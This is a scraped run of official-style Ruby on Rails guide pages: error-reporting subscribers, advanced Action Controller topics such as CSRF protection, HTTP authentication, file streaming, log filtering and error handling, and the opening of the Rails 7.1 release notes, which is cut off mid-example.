You can prevent a subscriber from being notified of errors for the duration of a block by calling [`Rails.error.disable`](https://api.rubyonrails.org/v8.1.4/classes/ActiveSupport/ErrorReporter.html#method-i-disable). Similarly to `subscribe` and `unsubscribe`, you can pass in either the subscriber itself, or its class.

```
Rails.error.disable(ErrorSubscriber) do
  1 + "1" # TypeError will not be reported via the ErrorSubscriber
end
```

This can also be helpful for third-party error reporting services who may want to manage error handling a different way, or higher in the stack.

## [2. Error-reporting Libraries](#error-reporting-libraries)

Error-reporting libraries can register their subscribers in a [Railtie](https://api.rubyonrails.org/v8.1.4/classes/Rails/Railtie.html):

```
module MySdk
  class Railtie < ::Rails::Railtie
    initializer "my_sdk.error_subscribe" do
      Rails.error.subscribe(MyErrorSubscriber.new)
    end
  end
end
```

If you register an error subscriber, but still have other error mechanisms like a Rack middleware, you may end up with errors reported multiple times. You should either remove your other mechanisms or adjust your report functionality so it skips reporting an error it has seen before.

***

***

[Back to top](#main-skip-link)

----
url: https://guides.rubyonrails.org/v8.1/action_controller_advanced_topics.html
----

***

## [1. Introduction](#introduction)

This guide covers a number of advanced topics related to controllers in a Rails application. Please see the [Action Controller Overview](action_controller_overview.html) guide for an introduction to Action Controllers.

## [2. Authenticity Token and Request Forgery Protection](#authenticity-token-and-request-forgery-protection)

Cross-site request forgery ([CSRF](https://api.rubyonrails.org/v8.1.4/classes/ActionController/RequestForgeryProtection.html#method-i-form_authenticity_token)) is a type of malicious attack where unauthorized requests are submitted by impersonating a user that the web application trusts.

The first step to avoid this type of attack is to ensure that all "destructive" actions (create, update, and destroy) in your application use non-GET requests (like POST, PUT and DELETE).

However, a malicious site can still send a non-GET request to your site, so Rails builds in request forgery protection into controllers by default.

This is done by adding a token using the [protect\_from\_forgery](https://api.rubyonrails.org/v8.1.4/classes/ActionController/RequestForgeryProtection/ClassMethods.html#method-i-protect_from_forgery) method. This token is added to each request and is only known to your server. Rails verifies the received token with the token in the session. If an incoming request does not have the proper matching token, the server will deny access.

The CSRF token is added automatically when `config.action_controller.default_protect_from_forgery` is set to `true`, which is the default for newly created Rails applications. It can also be manually like this:

```
class ApplicationController < ActionController::Base
  protect_from_forgery with: :exception
end
```

All subclasses of `ActionController::Base` are protected by default and will raise an `ActionController::InvalidAuthenticityToken` error on unverified requests.

### [2.1. Authenticity Token in Forms](#authenticity-token-in-forms)

When you generate a form using `form_with` like this:

```
<%= form_with model: @user do |form| %>
  <%= form.text_field :username %>
  <%= form.text_field :password %>
<% end %>
```

A CSRF token named `authenticity_token` is automatically added as a hidden field in the generated HTML:

```
<form accept-charset="UTF-8" action="/users/1" method="post">
<input type="hidden"
       value="67250ab105eb5ad10851c00a5621854a23af5489"
       name="authenticity_token"/>
<!-- fields -->
</form>
```

Rails adds this token to every `form` that's generated using the [form helpers](form_helpers.html), so most of the time you don't need to do anything. If you're writing a form manually or need to add the token for another reason, it's available through the [`form_authenticity_token`](https://api.rubyonrails.org/v8.1.4/classes/ActionController/RequestForgeryProtection.html#method-i-form_authenticity_token) method.

```
<!-- app/views/layouts/application.html.erb -->
<head>
  <meta name="csrf-token" content="<%= form_authenticity_token %>">
</head>
```

The `form_authenticity_token` method generates a valid authentication token. That can be useful in places where Rails does not add it automatically, like in custom Ajax calls.

You can learn more details about the CSRF attack as well as CSRF countermeasures in the [Security Guide](security.html#cross-site-request-forgery-csrf).

## [3. Controlling Allowed Browser Versions](#controlling-allowed-browser-versions)

Starting with version 7.2, Rails controllers use [`allow_browser`](https://api.rubyonrails.org/v8.1.4/classes/ActionController/AllowBrowser/ClassMethods.html#method-i-allow_browser) method in `ApplicationController` to allow only modern browsers by default.

```
class ApplicationController < ActionController::Base
  # Only allow modern browsers supporting webp images, web push, badges, import maps, CSS nesting, and CSS :has.
  allow_browser versions: :modern
end
```

Modern browsers includes Safari 17.2+, Chrome 120+, Firefox 121+, Opera 106+. You can use [caniuse.com](https://caniuse.com/) to check for browser versions supporting the features you'd like to use.

In addition to the default of `:modern`, you can also specify the browser versions manually:

```
class ApplicationController < ActionController::Base
  # All versions of Chrome and Opera will be allowed, but no versions of "internet explorer" (ie). Safari needs to be 16.4+ and Firefox 121+.
  allow_browser versions: { safari: 16.4, firefox: 121, ie: false }
end
```

Browsers matched in the hash passed to `versions:` will be blocked if they’re below the versions specified. This means that all other browsers not mentioned in `versions:` (Chrome and Opera in the above example), as well as agents that aren’t reporting a user-agent header, *will be* allowed access.

You can also use `allow_browser` in a given controller and specify actions using `only` or `except`. For example:

```
class MessagesController < ApplicationController
  # In addition to the browsers blocked by ApplicationController, also block Opera below 104 and Chrome below 119 for the show action.
  allow_browser versions: { opera: 104, chrome: 119 }, only: :show
end
```

A browser that’s blocked will, by default, be served the file in `public/406-unsupported-browser.html` with an HTTP status code of “406 Not Acceptable”.

## [4. HTTP Authentication](#http-authentication)

Rails comes with three built-in HTTP authentication mechanisms:

* Basic Authentication
* Digest Authentication
* Token Authentication

### [4.1. HTTP Basic Authentication](#http-basic-authentication)

HTTP Basic Authentication is a simple authentication method where a user is required to enter a username and password to access a website or a particular section of a website (e.g. admin section). These credentials are entered into a browser's HTTP basic dialog window. The user’s credentials are then encoded and sent in the HTTP header with each request.

HTTP basic authentication is an authentication scheme that is supported by most browsers. Using HTTP Basic authentication in a Rails controller can be done by using the [`http_basic_authenticate_with`](https://api.rubyonrails.org/v8.1.4/classes/ActionController/HttpAuthentication/Basic/ControllerMethods/ClassMethods.html#method-i-http_basic_authenticate_with) method:

```
class AdminsController < ApplicationController
  http_basic_authenticate_with name: "Arthur", password: "42424242"
end
```

With the above in place, you can create controllers that inherit from `AdminsController`. All actions in those controllers will use HTTP basic authentication and require user credentials.

HTTP Basic Authentication is easy to implement but not secure on its own, as it will send unencrypted credentials over the network. Make sure to use HTTPS when using Basic Authentication. You can also [force HTTPS](#force-https-protocol).

### [4.2. HTTP Digest Authentication](#http-digest-authentication)

HTTP digest authentication is more secure than basic authentication as it does not require the client to send an unencrypted password over the network. The credentials are hashed instead and a [Digest](https://api.rubyonrails.org/v8.1.4/classes/ActionController/HttpAuthentication/Digest.html) is sent.

Using digest authentication with Rails can be done by using the [`authenticate_or_request_with_http_digest`](https://api.rubyonrails.org/v8.1.4/classes/ActionController/HttpAuthentication/Digest/ControllerMethods.html#method-i-authenticate_or_request_with_http_digest) method:

```
class AdminsController < ApplicationController
  USERS = { "admin" => "helloworld" }

  before_action :authenticate

  private
    def authenticate
      authenticate_or_request_with_http_digest do |username|
        USERS[username]
      end
    end
end
```

The `authenticate_or_request_with_http_digest` block takes only one argument - the username. The block returns the password if found. If the return value is `false` or `nil`, it is considered an authentication failure.

### [4.3. HTTP Token Authentication](#http-token-authentication)

Token authentication (aka "Bearer" authentication) is an authentication method where a client receives a unique token after successfully logging in, which it then includes in the `Authorization` header of future requests. Instead of sending credentials with each request, the client sends this [token](https://api.rubyonrails.org/v8.1.4/classes/ActionController/HttpAuthentication/Token.html) (a string that represents the user's session) as a "bearer" of the authentication.

This approach improves security by separating credentials from the ongoing session. You use an authentication token that has been issued in advance to perform authentication.

Implementing token authentication with Rails can be done using the [`authenticate_or_request_with_http_token`](https://api.rubyonrails.org/v8.1.4/classes/ActionController/HttpAuthentication/Token/ControllerMethods.html#method-i-authenticate_or_request_with_http_token) method.

```
class PostsController < ApplicationController
  TOKEN = "secret"

  before_action :authenticate

  private
    def authenticate
      authenticate_or_request_with_http_token do |token, options|
        ActiveSupport::SecurityUtils.secure_compare(token, TOKEN)
      end
    end
end
```

The `authenticate_or_request_with_http_token` block takes two arguments - the token and a hash containing the options that were parsed from the HTTP `Authorization` header. The block should return `true` if the authentication is successful. Returning `false` or `nil` will cause an authentication failure.

## [5. Streaming and File Downloads](#streaming-and-file-downloads)

Rails controllers provide a way to send a file to the user instead of rendering an HTML page. This can be done with the [`send_data`](https://api.rubyonrails.org/v8.1.4/classes/ActionController/DataStreaming.html#method-i-send_data) and the [`send_file`](https://api.rubyonrails.org/v8.1.4/classes/ActionController/DataStreaming.html#method-i-send_file) methods, which stream data to the client. The `send_file` method is a convenience method that lets you provide the name of a file, and it will stream the contents of that file.

Here is an example of how to use `send_data`:

```
require "prawn"
class ClientsController < ApplicationController
  # Generates a PDF document with information on the client and
  # returns it. The user will get the PDF as a file download.
  def download_pdf
    client = Client.find(params[:id])
    send_data generate_pdf(client),
              filename: "#{client.name}.pdf",
              type: "application/pdf"
  end

  private
    def generate_pdf(client)
      Prawn::Document.new do
        text client.name, align: :center
        text "Address: #{client.address}"
        text "Email: #{client.email}"
      end.render
    end
end
```

The `download_pdf` action in the above example calls a private method which generates the PDF document and returns it as a string. This string will then be streamed to the client as a file download.

Sometimes when streaming files to the user, you may not want them to download the file. Take images, for example, which can be embedded into HTML pages. To tell the browser a file is not meant to be downloaded, you can set the `:disposition` option to "inline". The default value for this option is "attachment".

### [5.1. Sending Files](#sending-files)

If you want to send a file that already exists on disk, use the `send_file` method.

```
class ClientsController < ApplicationController
  # Stream a file that has already been generated and stored on disk.
  def download_pdf
    client = Client.find(params[:id])
    send_file("#{Rails.root}/files/clients/#{client.id}.pdf",
              filename: "#{client.name}.pdf",
              type: "application/pdf")
  end
end
```

The file will be read and streamed at 4 kB at a time by default, to avoid loading the entire file into memory at once. You can turn off streaming with the `:stream` option or adjust the block size with the `:buffer_size` option.

If `:type` is not specified, it will be guessed from the file extension specified in `:filename`. If the content-type is not registered for the extension, `application/octet-stream` will be used.

Be careful when using data coming from the client (params, cookies, etc.) to locate the file on disk. This is a security risk as it might allow someone to gain access to sensitive files.

It is not recommended that you stream static files through Rails if you can instead keep them in a public folder on your web server. It is much more efficient to let the user download the file directly using Apache or another web server, keeping the request from unnecessarily going through the whole Rails stack.

### [5.2. RESTful Downloads](#restful-downloads)

While `send_data` works fine, if you are creating a RESTful application having separate actions for file downloads is usually not necessary. In REST terminology, the PDF file from the example above can be considered just another representation of the client resource. Rails provides a slick way of doing "RESTful" downloads. Here's how you can rewrite the example so that the PDF download is a part of the `show` action, without any streaming:

```
class ClientsController < ApplicationController
  # The user can request to receive this resource as HTML or PDF.
  def show
    @client = Client.find(params[:id])

    respond_to do |format|
      format.html
      format.pdf { render pdf: generate_pdf(@client) }
    end
  end
end
```

Now the user can request to get a PDF version of a client just by adding ".pdf" to the URL:

```
GET /clients/1.pdf
```

You can call any method on `format` that is an extension registered as a MIME type by Rails. Rails already registers common MIME types like `"text/html"` and `"application/pdf"`:

```
Mime::Type.lookup_by_extension(:pdf)
# => "application/pdf"
```

If you need additional MIME types, call [`Mime::Type.register`](https://api.rubyonrails.org/v8.1.4/classes/Mime/Type.html#method-c-register) in the file `config/initializers/mime_types.rb`. For example, this is how you would register the Rich Text Format (RTF):

```
Mime::Type.register("application/rtf", :rtf)
```

If you modify an initializer file, you have to restart the server for their changes to take effect.

### [5.3. Live Streaming of Arbitrary Data](#live-streaming-of-arbitrary-data)

Rails allows you to stream more than just files. In fact, you can stream anything you would like in a response object. The [`ActionController::Live`](https://api.rubyonrails.org/v8.1.4/classes/ActionController/Live.html) module allows you to create a persistent connection with a browser. By including this module in your controller, you can send arbitrary data to the browser at specific points in time.

```
class MyController < ActionController::Base
  include ActionController::Live

  def stream
    response.headers["Content-Type"] = "text/event-stream"
    100.times {
      response.stream.write "hello world\n"
      sleep 1
    }
  ensure
    response.stream.close
  end
end
```

The above example will keep a persistent connection with the browser and send 100 messages of `"hello world\n"`, each one second apart.

Note that you have to make sure to close the response stream, otherwise the stream will leave the socket open indefinitely. You also have to set the content type to `text/event-stream` *before* calling `write` on the response stream. Headers cannot be written after the response has been committed (when `response.committed?` returns a truthy value) with either `write` or `commit`.

#### [5.3.1. Example Use Case](#example-use-case)

Let's suppose that you were making a karaoke machine, and a user wants to get the lyrics for a particular song. Each `Song` has a particular number of lines and each line takes time `num_beats` to finish singing.

If we wanted to return the lyrics in karaoke fashion (only sending the line when the singer has finished the previous line), then we could use `ActionController::Live` as follows:

```
class LyricsController < ActionController::Base
  include ActionController::Live

  def show
    response.headers["Content-Type"] = "text/event-stream"
    response.headers["Cache-Control"] = "no-cache"

    song = Song.find(params[:id])

    song.each do |line|
      response.stream.write line.lyrics
      sleep line.num_beats
    end
  ensure
    response.stream.close
  end
end
```

#### [5.3.2. Streaming Considerations](#streaming-considerations)

Streaming arbitrary data is an extremely powerful tool. As shown in the previous examples, you can choose when and what to send across a response stream. However, you should also note the following things:

* Each response stream creates a new thread and copies over the thread local variables from the original thread. Having too many thread local variables can negatively impact performance. Similarly, a large number of threads can also hinder performance.
* Failing to close the response stream will leave the corresponding socket open forever. Make sure to call `close` whenever you are using a response stream.
* WEBrick servers buffer all responses, and so streaming with `ActionController::Live` will not work. You must use a web server which does not automatically buffer responses.

## [6. Log Filtering](#log-filtering)

Rails keeps a log file for each environment in the `log` folder at the application's root directory. Log files are extremely useful when debugging your application, but in a production environment you may not want every bit of information stored in log files. Rails allows you to specify parameters that should not be stored.

### [6.1. Parameters Filtering](#parameters-filtering)

You can filter out sensitive request parameters from your log files by appending them to [`config.filter_parameters`](configuring.html#config-filter-parameters) in the application configuration.

```
config.filter_parameters << :password
```

These parameters will be marked `[FILTERED]` in the log.

The parameters specified in `filter_parameters` will be filtered out with partial matching regular expression. So for example, `:passw` will filter out `password`, `password_confirmation`, etc.

Rails adds a list of default filters, including `:passw`, `:secret`, and `:token`, in the appropriate initializer (`initializers/filter_parameter_logging.rb`) to handle typical application parameters like `password`, `password_confirmation` and `my_token`.

### [6.2. Redirects Filtering](#redirects-filtering)

Sometimes it's desirable to filter out sensitive locations that your application is redirecting to. You can do that by using the `config.filter_redirect` configuration option:

```
config.filter_redirect << "s3.amazonaws.com"
```

You can set it to a String, a Regexp, or an Array of both.

```
config.filter_redirect.concat ["s3.amazonaws.com", /private_path/]
```

Matching URLs will be replaced with `[FILTERED]`. However, if you only wish to filter the parameters, not the whole URLs, you can use parameter filtering.

## [7. Force HTTPS Protocol](#force-https-protocol)

If you'd like to ensure that communication to your controller is only possible via HTTPS, you can do so by enabling the [`ActionDispatch::SSL`](https://api.rubyonrails.org/v8.1.4/classes/ActionDispatch/SSL.html) middleware via [`config.force_ssl`](configuring.html#config-force-ssl) in your environment configuration.

## [8. Built-in Health Check Endpoint](#built-in-health-check-endpoint)

Rails comes with a built-in health check endpoint that is reachable at the `/up` path. This endpoint will return a 200 status code if the app has booted with no exceptions, and a 500 status code otherwise.

In production, many applications are required to report their status, whether it's to an uptime monitor that will page an engineer when things go wrong, or a load balancer or Kubernetes controller used to determine the health of a given instance. This health check is designed to be a one-size fits all that will work in many situations.

While any newly generated Rails applications will have the health check at `/up`, you can configure the path to be anything you'd like in your "config/routes.rb":

```
Rails.application.routes.draw do
  get "health" => "rails/health#show", as: :rails_health_check
end
```

The health check will now be accessible via `GET` or `HEAD` requests to the `/health` path.

This endpoint does not reflect the status of all of your application's dependencies, such as the database or redis. Replace "rails/health#show" with your own controller action if you have application specific needs.

Reporting the health of an application requires some considerations. You'll have to decide what you want to include in the check. For example, if a third-party service is down and your application reports that it's down due to the dependency, your application may be restarted unnecessarily. Ideally, your application should handle third-party outages gracefully.

## [9. Handling Errors](#handling-errors)

Your application will likely contain bugs and throw exceptions that needs to be handled. For example, if the user follows a link to a resource that no longer exists in the database, Active Record will throw the `ActiveRecord::RecordNotFound` exception.

Rails default exception handling displays a "500 Server Error" message for all exceptions. If the request was made in development, a nice backtrace and additional information is displayed, to help you figure out what went wrong. If the request was made in production, Rails will display a simple "500 Server Error" message, or a "404 Not Found" if there was a routing error, or a record could not be found.

You can customize how these errors are caught and how they're displayed to the user. There are several levels of exception handling available in a Rails application. You can use `config.action_dispatch.show_exceptions` configuration to control how Rails handles exceptions raised while responding to requests. You can learn more about the levels of exceptions in the [configuration](configuring.html#config-action-dispatch-show-exceptions) guide.

### [9.1. The Default Error Templates](#the-default-error-templates)

By default, in the production environment the application will render an error page. These pages are contained in static HTML files in the public folder, in `404.html`, `500.html`, etc. You can customize these files to add some extra information and styles.

The error templates are static HTML files so you can't use ERB, SCSS, or layouts for them.

### [9.2. `rescue_from`](#rescue-from)

You can catch specific errors and do something different with them by using the [`rescue_from`](https://api.rubyonrails.org/v8.1.4/classes/ActiveSupport/Rescuable/ClassMethods.html#method-i-rescue_from) method. It can handle exceptions of a certain type (or multiple types) in an entire controller and its subclasses.

When an exception occurs which is caught by a `rescue_from` directive, the exception object is passed to the handler.

Below is an example of how you can use `rescue_from` to intercept all `ActiveRecord::RecordNotFound` errors and do something with them:

```
class ApplicationController < ActionController::Base
  rescue_from ActiveRecord::RecordNotFound, with: :record_not_found

  private
    def record_not_found
      render plain: "Record Not Found", status: 404
    end
end
```

The handler can be a method or a `Proc` object passed to the `:with` option. You can also use a block directly instead of an explicit `Proc` object.

The above example doesn't improve on the default exception handling at all, but it serves to show how once you catch specific exceptions, you're free to do whatever you want with them. For example, you could create custom exception classes that will be thrown when a user doesn't have access to a certain section of your application:

```
class ApplicationController < ActionController::Base
  rescue_from User::NotAuthorized, with: :user_not_authorized

  private
    def user_not_authorized
      flash[:error] = "You don't have access to this section."
      redirect_back(fallback_location: root_path)
    end
end

class ClientsController < ApplicationController
  # Check that the user has the right authorization to access clients.
  before_action :check_authorization

  def edit
    @client = Client.find(params[:id])
  end

  private
    # If the user is not authorized, throw the custom exception.
    def check_authorization
      raise User::NotAuthorized unless current_user.admin?
    end
end
```

Using `rescue_from` with `Exception` or `StandardError` would cause serious side-effects as it prevents Rails from handling exceptions properly. As such, it is not recommended to do so unless there is a strong reason.

Certain exceptions are only rescuable from the `ApplicationController` class, as they are raised before the controller gets initialized, and the action gets executed.

***

***

[Back to top](#main-skip-link)

----
url: https://guides.rubyonrails.org/v8.1/7_1_release_notes.html
----

***

## [1. Upgrading to Rails 7.1](#upgrading-to-rails-7-1)

If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 7.0 in case you haven't and make sure your application still runs as expected before attempting an update to Rails 7.1. A list of things to watch out for when upgrading is available in the [Upgrading Ruby on Rails](upgrading_ruby_on_rails.html#upgrading-from-rails-7-0-to-rails-7-1) guide.

## [2. Major Features](#major-features)

### [2.1. Generate Dockerfiles for new Rails applications](#generate-dockerfiles-for-new-rails-applications)

[Default Docker support](https://github.com/rails/rails/pull/46762) to new Rails applications. When generating a new application, Rails will now include Docker-related files in the application.

These files serve as a foundational setup for deploying your Rails application in a production environment using Docker. It's important to note that these files are not meant for development purposes.

Here's a quick example of how to build and run your Rails app using these Docker files:

```
$ docker build -t app .
$ docker volume create app-storage
$ docker run --rm -it -v app-storage:/rails/storage -p 3000:3000 --env RAILS_MASTER_KEY=<your-config-master-key> app
```

You can also start a console or runner from this Docker image:

```
$ docker run --rm -it -v app-storage:/rails/storage --env RAILS_MASTER_KEY=<your-config-master-key> app console
```

For those looking to create a multi-platform image (e.g., Apple Silicon for AMD or Intel deployment), and push it to Docker Hub, follow these steps:

```
$ docker login -u <your-user>
$ docker buildx create --use
$ docker buildx build --push --platform=linux/amd64,linux/arm64 -t <your-user/image-name> .
```

This enhancement simplifies the deployment process, providing a convenient starting point for getting your Rails application up and running in a production environment.

### [2.2. Add `ActiveRecord::Base.normalizes`](#add-activerecord-base-normalizes)

[`ActiveRecord::Base.normalizes`](https://api.rubyonrails.org/v7.1/classes/ActiveRecord/Normalization/ClassMethods.html#method-i-normalizes) declares an attribute normalization. The normalization is applied when the attribute is assigned or updated, and the normalized value will be persisted to the database. The normalization is also applied to the corresponding keyword argument of query methods, allowing records to be queried using unnormalized values.

For example:

```
class User < ActiveRecord::Base
  normalizes :email, with: -> email { email.strip.downcase }
  normalizes :phone, with: -> phone { phone.delete("^0-9").delete_prefix("1") }
end

user = User.create(email: " CRUISE-CONTROL@EXAMPLE.COM\n")
user.email                  # => "cruise-control@example.com"

user = User.find_by(email: "\tCRUISE-CONTROL@EXAMPLE.COM ")
user.email                  # => "cruise-control@example.com"
user.email_before_type_cast # => "cruise-control@example.com"

User.where(email: "\tCRUISE-CONTROL@EXAMPLE.COM ").count         # => 1
User.where(["email = ?", "\tCRUISE-CONTROL@EXAMPLE.COM "]).count # => 0

User.exists?(email: "\tCRUISE-CONTROL@EXAMPLE.COM ")         # => true
User.exists?(["email = ?", "\tCRUISE-CONTROL@EXAMPLE.COM "]) # => false

User.normalize_value_for(:phone, "+1 (555) 867-5309") # => "5558675309"
```

### [2.3. Add `ActiveRecord::Base.generates_token_for`](#add-activerecord-base-generates-token-for)

[`ActiveRecord::Base.generates_token_for`](https://api.rubyonrails.org/v7.1/classes/ActiveRecord/TokenFor/ClassMethods.html#method-i-generates_token_for) defines the generation of tokens for a specific purpose. Generated tokens can expire and can also embed record data. When using a token to fetch a record, the data from the token and the current data from the record will be compared. If the two do not match, the token will be treated as invalid, the same as if it had expired.

Here is an example implementing a single-use password reset token:

```
class User < ActiveRecord::Base
  has_secure_password

  generates_token_for :password_reset, expires_in: 15.minutes do
    # `password_salt` (defined by `has_secure_password`) returns the salt for
    # the password. The salt changes when the password is changed, so the token
    # will expire when the password is changed.
    password_salt&.last(10)
  end
end

user = User.first
token = user.generate_token_for(:password_reset)

User.find_by_token_for(:password_reset, token) # => user

user.update!(password: "new password")
User.find_by_token_for(:password_reset, token) # => nil
```

### [2.4. Add `perform_all_later` to enqueue multiple jobs at once](#add-perform-all-later-to-enqueue-multiple-jobs-at-once)

The [`perform_all_later` method in Active Job](https://github.com/rails/rails/pull/46603), designed to streamline the process of enqueuing multiple jobs simultaneously. This powerful addition allows you to efficiently enqueue jobs without triggering callbacks. This is particularly useful when you need to enqueue a batch of jobs at once, reducing the overhead of multiple round-trips to the queue datastore.

Here's how you can take advantage of `perform_all_later`:

```
# Enqueueing individual jobs
ActiveJob.perform_all_later(MyJob.new("hello", 42), MyJob.new("world", 0))

# Enqueueing an array of jobs
user_jobs = User.pluck(:id).map { |id| UserJob.new(user_id: id) }
ActiveJob.perform_all_later(user_jobs)
```

By utilizing `perform_all_later`, you can optimize your job enqueuing process and take advantage of improved efficiency, especially when working with large sets of jobs. It's worth noting that for queue adapters that support the new `enqueue_all` method, such as the Sidekiq adapter, the enqueuing process is further optimized using `push_bulk`.

Please be aware that this new method introduces a separate event, `enqueue_all.active_job`, and does not utilize the existing `enqueue.active_job` event. This ensures accurate tracking and reporting of the bulk enqueuing process.

### [2.5. Composite primary keys](#composite-primary-keys)

Composite primary keys are now supported at both the database and application level. Rails is able to derive these keys directly from the schema. This feature is particularly beneficial for many-to-many relationships and other complex data models where a single column is insufficient to uniquely identify a record.

The SQL generated by query methods in Active Record (e.g. `#reload`, `#update`, `#delete`) will contain all parts of the composite primary key. Methods like `#first` and `#last` will use the full composite primary key in the `ORDER BY` statements.

The `query_constraints` macro can be used as a "virtual primary key" to achieve the same behavior without modifying the database schema. Example:

```
class TravelRoute < ActiveRecord::Base
  query_constraints :origin, :destination
end
```

Similarly, associations accept a `query_constraints:` option. This option serves as a composite foreign key, configuring the list of columns used for accessing the associated record.

Example:

```
class TravelRouteReview < ActiveRecord::Base
  belongs_to :travel_route, query_constraints: [:travel_route_origin, :travel_route_destination]
end
```

### [2.6. Introduce adapter for `Trilogy`](#introduce-adapter-for-trilogy)

A [new adapter has been introduced](https://github.com/rails/rails/pull/47880) to facilitate the seamless integration of `Trilogy`, a MySQL-compatible database client, with Rails applications. Now, Rails applications have the option to incorporate `Trilogy` functionality by configuring their `config/database.yml` file. For instance:

```
development:
  adapter: trilogy
  database: blog_development
  pool: 5
```

Alternatively, integration can be achieved using the `DATABASE_URL` environment variable:

```
ENV["DATABASE_URL"] # => "trilogy://localhost/blog_development?pool=5"
```

### [2.7. Add `ActiveSupport::MessagePack`](#add-activesupport-messagepack)

[`ActiveSupport::MessagePack`](https://api.rubyonrails.org/v7.1/classes/ActiveSupport/MessagePack.html) is a serializer that integrates with the [`msgpack` gem](https://github.com/msgpack/msgpack-ruby). `ActiveSupport::MessagePack` can serialize the basic Ruby types supported by `msgpack`, as well as several additional types such as `Time`, `ActiveSupport::TimeWithZone`, and `ActiveSupport::HashWithIndifferentAccess`. Compared to `JSON` and `Marshal`, `ActiveSupport::MessagePack` can reduce payload size and improve performance.

`ActiveSupport::MessagePack` can be used as a [message serializer](https://guides.rubyonrails.org/v7.1/configuring.html#config-active-support-message-serializer):

```
config.active_support.message_serializer = :message_pack

# Or individually:
ActiveSupport::MessageEncryptor.new(secret, serializer: :message_pack)
ActiveSupport::MessageVerifier.new(secret, serializer: :message_pack)
```

As the [cookies serializer](https://guides.rubyonrails.org/v7.1/configuring.html#config-action-dispatch-cookies-serializer):

```
config.action_dispatch.cookies_serializer = :message_pack
```

And as a [cache serializer](https://guides.rubyonrails.org/v7.1/caching_with_rails.html#configuration):

```
config.cache_store = :file_store, "tmp/cache", { serializer: :message_pack }

# Or individually:
ActiveSupport::Cache.lookup_store(:file_store, "tmp/cache", serializer: :message_pack)
```

### [2.8. Introducing `config.autoload_lib` and `config.autoload_lib_once` for Enhanced Autoloading](#introducing-config-autoload-lib-and-config-autoload-lib-once-for-enhanced-autoloading)

A [new configuration method, `config.autoload_lib(ignore:)`](https://github.com/rails/rails/pull/48572), has been introduced. This method is used to enhance the autoload paths of applications by including the `lib` directory, which is not included by default. Also, `config.autoload_lib(ignore: %w(assets tasks))` is generated for new applications.

When invoked from either `config/application.rb` or `config/environments/*.rb`, this method adds the `lib` directory to both `config.autoload_paths` and `config.eager_load_paths`. It's important to note that this feature is not available for engines.

To ensure flexibility, the `ignore` keyword argument can be used to specify subdirectories within the `lib` directory that should not be managed by the autoloaders. For instance, you can exclude directories like `assets`, `tasks`, and `generators` by passing them to the `ignore` argument:

```
config.autoload_lib(ignore: %w(assets tasks generators))
```

The [`config.autoload_lib_once` method](https://github.com/rails/rails/pull/48610) is similar to `config.autoload_lib`, except that it adds `lib` to `config.autoload_once_paths` instead.

Please, see more details in the [autoloading guide](autoloading_and_reloading_constants.html#config-autoload-lib-ignore)

### [2.9. Active Record API for general async queries](#active-record-api-for-general-async-queries)

A significant enhancement has been introduced to the Active Record API, expanding its [support for asynchronous queries](https://github.com/rails/rails/pull/44446). This enhancement addresses the need for more efficient handling of not-so-fast queries, particularly focusing on aggregates (such as `count`, `sum`, etc.) and all methods returning a single record or anything other than a `Relation`.

The new API includes the following asynchronous methods:

* `async_count`
* `async_sum`
* `async_minimum`
* `async_maximum`
* `async_average`
* `async_pluck`
* `async_pick`
* `async_ids`
* `async_find_by_sql`
* `async_count_by_sql`

Here's a brief example of how to use one of these methods, `async_count`, to count the number of published posts in an asynchronous manner:

```
# Synchronous count
published_count = Post.where(published: true).count # => 10

# Asynchronous count
promise = Post.where(published: true).async_count # => #<ActiveRecord::Promise status=pending>
promise.value # => 10
```

These methods allow for the execution of these operations in an asynchronous manner, which can significantly improve performance for certain types of database queries.

### [2.10. Allow templates to set strict `locals`](#allow-templates-to-set-strict-locals)

Introduce a new feature that [allows templates to set explicit `locals`](https://github.com/rails/rails/pull/45602). This enhancement provides greater control and clarity when passing variables to your templates.

By default, templates will accept any `locals` as keyword arguments. However, now you can define what `locals` a template should accept by adding a `locals` magic comment at the beginning of your template file.

Here's how it works:

```
<%# locals: (message:) -%>
<%= message %>
```

You can also set default values for these locals:

```
<%# locals: (message: "Hello, world!") -%>
<%= message %>
```

Optional keyword arguments can be splatted:

```
<%# locals: (message: "Hello, world!", **attributes) -%>
<%= tag.p(message, **attributes) %>
```

If you want to disable the use of locals entirely, you can do so like this:

```
<%# locals: () %>
```

Action View will process the `locals:` magic comment in any templating engine that supports `#`-prefixed comments, and will read the magic comment from any line in the partial.

Only keyword arguments are supported. Defining positional or block arguments will raise an Action View Error at render-time.

### [2.11. Add `Rails.application.deprecators`](#add-rails-application-deprecators)

The new [`Rails.application.deprecators` method](https://github.com/rails/rails/pull/46049) returns a collection of managed deprecators within your application, and allows you to add and retrieve individual deprecators with ease:

```
Rails.application.deprecators[:my_gem] = ActiveSupport::Deprecation.new("2.0", "MyGem")
Rails.application.deprecators[:other_gem] = ActiveSupport::Deprecation.new("3.0", "OtherGem")
```

The collection's configuration settings affect all deprecators in the collection.

```
Rails.application.deprecators.debug = true

Rails.application.deprecators[:my_gem].debug
# => true

Rails.application.deprecators[:other_gem].debug
# => true
```

There are scenarios where you might want to mute all deprecator warnings for a specific block of code. With the deprecators collection, you can easily silence all deprecator warnings within a block:

```
Rails.application.deprecators.silence do
  Rails.application.deprecators[:my_gem].warn    # No warning (silenced)
  Rails.application.deprecators[:other_gem].warn # No warning (silenced)
end
```

### [2.12. Support pattern matching for JSON `response.parsed_body`](#support-pattern-matching-for-json-response-parsed-body)

When `ActionDispatch::IntegrationTest` tests blocks invoke `response.parsed_body` for JSON responses, their payloads will be available with indifferent access. This enables integration with [Ruby's Pattern Matching](https://docs.ruby-lang.org/en/master/syntax/pattern_matching_rdoc.html), and built-in [Minitest support for pattern matching](https://docs.seattlerb.org/minitest/Minitest/Assertions.html#method-i-assert_pattern):

```
get "/posts.json"

response.content_type         # => "application/json; charset=utf-8"
response.parsed_body.class    # => Array
response.parsed_body          # => [{"id"=>42, "title"=>"Title"},...

assert_pattern { response.parsed_body => [{ id: 42 }] }

get "/posts/42.json"

response.content_type         # => "application/json; charset=utf-8"
response.parsed_body.class    # => ActiveSupport::HashWithIndifferentAccess
response.parsed_body          # => {"id"=>42, "title"=>"Title"}

assert_pattern { response.parsed_body => [{ title: /title/i }] }
```

### [2.13. Extend `response.parsed_body` to parse HTML with Nokogiri](#extend-response-parsed-body-to-parse-html-with-nokogiri)

[Extend the `ActionDispatch::Testing` module](https://github.com/rails/rails/pull/47144) to support parsing the value of an HTML `response.body` into a `Nokogiri::HTML5::Document` instance:

```
get "/posts"

